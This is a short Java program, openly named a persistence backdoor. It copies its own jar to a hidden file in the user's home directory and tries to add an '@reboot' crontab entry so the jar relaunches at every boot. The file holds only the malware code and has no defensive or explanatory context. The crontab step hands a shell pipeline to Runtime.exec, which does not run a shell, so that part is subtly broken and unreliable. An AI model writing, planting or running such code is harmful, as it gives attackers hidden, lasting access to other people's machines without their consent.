
import java.io.*;
import java.nio.file.*;

public class PersistenceBackdoor {
    public static void main(String[] args) {
        try {
            String home = System.getProperty("user.home");
            String backdoorPath = home + "/.backdoor844.jar";
            Path source = Paths.get(PersistenceBackdoor.class.getProtectionDomain().getCodeSource().getLocation().toURI());
            Files.copy(source, Paths.get(backdoorPath), StandardCopyOption.REPLACE_EXISTING);
            Runtime.getRuntime().exec("crontab -l | { cat; echo '@reboot java -jar " + backdoorPath + "'; } | crontab -");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
